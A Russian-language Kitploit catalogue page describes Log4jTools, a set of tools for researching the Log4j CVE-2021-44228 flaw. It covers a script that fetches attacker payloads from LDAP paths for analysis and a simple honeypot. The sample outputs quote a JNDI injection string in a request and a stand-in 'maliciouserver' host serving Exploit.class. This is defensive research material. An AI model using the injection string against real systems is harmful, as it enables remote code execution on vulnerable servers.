Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4jTools — Инструменты для исследования Log4j CVE-2021-44228 | Kitploit
Инструменты/GitHubGitHub/malwaretech/log4jtools
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияСбор информацииОбнаружение Вторжений
GitHubmalwaretech/log4jtools

Log4jTools

Инструменты для исследования Log4j CVE-2021-44228

Репозиторий
9412364 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Log4jTools

Инструменты для исследования Log4j CVE-2021-44228

Bug explanation and Demo

https://www.youtube.com/watch?v=0-abhd-CLwQ

FetchPayload.py (Get java payload from ldap path provided in JNDI lookup).

Требования: curl (системный), requests (python)

Пример команды:

root@kitploit:~
python FetchPayload.py ldap://maliciouserver:1337/path

[+] getting object from ldap://maliciouserver:1337/path
[+] exploit payload: http://maliciouserver:80/Exploit.class
[+] seeing if attacker left behind un-compile payload http://maliciouserver:80/Exploit.java
[x] failed to find payload Exploit.java
[+] trying to fetch compiled payload http://maliciouserver:80/Exploit.class
[+] found payload and saved to file Exploit.class_

SimpleHoneypot.py (honeypot to catch exploit attempts based on presence of '${' ).

Требования: python3, asyncore

Пример команды:

root@kitploit:~
python3 SimpleHoneypot.py

[2021-12-09 13:00:00,000] Possible CVE-2021-44228 Attempt: 127.0.0.1:1111 -> port 8080 - GET /?id=${jdni:ldap://127.0.0.1:1389/hax} HTTP/1.1
Скачать инструмент